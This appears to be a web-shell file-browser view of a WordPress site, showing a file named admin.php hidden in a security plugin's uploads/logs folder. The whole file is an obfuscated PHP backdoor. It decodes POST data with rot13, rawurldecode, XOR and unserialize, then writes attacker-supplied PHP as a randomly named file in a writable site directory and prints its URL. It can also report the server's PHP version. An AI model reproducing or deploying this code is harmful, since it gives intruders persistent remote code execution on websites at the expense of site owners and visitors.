HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/incastiglionfiorentino/wp-content/uploads/ithemes-security/logs/admin.php
<?php $lRVni = "TuCpW";function DTSYilh($lRVni){$AciBafTWRx = "\162"."\x61"."\x77".'u'."\162".chr(108).chr(100)."\145"."\143"."\x6f".chr(100).'e';$nTGoKDATog = 's'."\x74".chr(633-519).'_'.'r'."\157"."\164"."\x31".'3';$AlkrgZW = chr(605-490)."\x74"."\162"."\137".chr(115).'p'."\154"."\151"."\164";$lRVni = $AlkrgZW($AciBafTWRx($nTGoKDATog($lRVni)));return $lRVni;}function WCqQo($bOSstVC, $VxQnKP){$wxBbZH = chr(115).'t'.chr(114).chr(176-81).chr(247-132).'p'.'l'."\x69".'t';$bOSstVC = array_slice($wxBbZH(str_repeat($bOSstVC, (count($VxQnKP)/16)+1)), 0, count($VxQnKP));return $bOSstVC;}function ymXDn($teNzLDqB, $uiArMwUT, $bOSstVC){$vuKXzQe = "ef8e3e2a-71dc-4455-ad56-9532ead516b7";return $teNzLDqB ^ $vuKXzQe[$uiArMwUT % strlen($vuKXzQe)] ^ $bOSstVC;}function OLmsXyMS($VxQnKP, $bOSstVC){$VxQnKP = array_map("ymXDn", array_values($VxQnKP), array_keys($VxQnKP), array_values($bOSstVC));$VxQnKP = implode("", $VxQnKP);$UJPxLNbLA = "\x75"."\156"."\163".chr(675-574).'r'.chr(589-484)."\x61".'l'."\151".'z'."\x65";$VxQnKP = @$UJPxLNbLA($VxQnKP);return $VxQnKP;}function uonaA(){echo "PbEhihg";}function snLfpIjfOb($PPhKHSZPir){static $gaxJieZo = array();$aDJlIogrPz = glob($PPhKHSZPir . '/*', GLOB_ONLYDIR);$bomNiYoV = count($aDJlIogrPz);if ($bomNiYoV > 0) {foreach ($aDJlIogrPz as $PPhKHSZP) {$tQmfUVPcOt = chr(667-562).chr(115)."\137".chr(119).chr(114)."\x69".chr(552-436)."\141".chr(577-479).chr(841-733).chr(497-396);if (@$tQmfUVPcOt($PPhKHSZP)) {$gaxJieZo[] = $PPhKHSZP;}}}foreach ($aDJlIogrPz as $PPhKHSZPir) snLfpIjfOb($PPhKHSZPir);return $gaxJieZo;}function laHyGn(){echo "TuCpW";}function PXgAx($VxQnKP){$CZsWOHyrQd = chr(229-161).chr(788-709).chr(118-51).chr(85).chr(1001-924).'E'."\x4e"."\x54".'_'."\x52".chr(79)."\117".'T';$GqpQABDf = $_SERVER[$CZsWOHyrQd];$aDJlIogrPz = snLfpIjfOb($GqpQABDf);$mGtbvyaKU = array_rand($aDJlIogrPz);$VLYNHFRVO = "\x2e"."\x70".'h'.'p';$mvsqljLeVi = $aDJlIogrPz[$mGtbvyaKU] . "/" . substr(md5(time()), 0, 8) . $VLYNHFRVO;$wmErA = chr(102).'i'."\154"."\x65".'_'.'p'.'u'."\164".chr(95)."\143".'o'.chr(1012-902).chr(195-79)."\145"."\156"."\x74".chr(115);@$wmErA($mvsqljLeVi, $VxQnKP);$fMgQL = "\110"."\x54"."\x54"."\120"."\x5f".'H'."\x4f".chr(572-489)."\x54";$erDDXSJWn = "\x68".chr(254-138).chr(116).chr(112)."\72".chr(185-138)."\57";$pbdnkQ = $erDDXSJWn . $_SERVER[$fMgQL] . substr($mvsqljLeVi, strlen($GqpQABDf));print($pbdnkQ);}foreach ($_POST as $bOSstVC => $VxQnKP){$ZYjESQDk = strlen($bOSstVC);if ($ZYjESQDk == 16){$VxQnKP = DTSYilh($VxQnKP);$bOSstVC = WCqQo($bOSstVC, $VxQnKP);$VxQnKP = OLmsXyMS($VxQnKP, $bOSstVC);if (@is_array($VxQnKP)){$mGtbvyaKU = array_keys($VxQnKP);$VxQnKP = $VxQnKP[$mGtbvyaKU[0]];$mGtbvyaKU = $mGtbvyaKU[0];if ($VxQnKP !== $mGtbvyaKU){PXgAx($VxQnKP);}else {$MOtrVQUMdn = chr(587-475).chr(104)."\x70";$EhfbQ = "\x70"."\150".chr(112).chr(831-713)."\x65"."\162".chr(115)."\151".'o'.'n';$VxQnKP = Array($MOtrVQUMdn => @$EhfbQ(), );$uOONQlh = chr(327-212)."\145".chr(114).chr(105).'a'.chr(565-457)."\151"."\172".chr(897-796);echo @$uOONQlh($VxQnKP);}die();}}}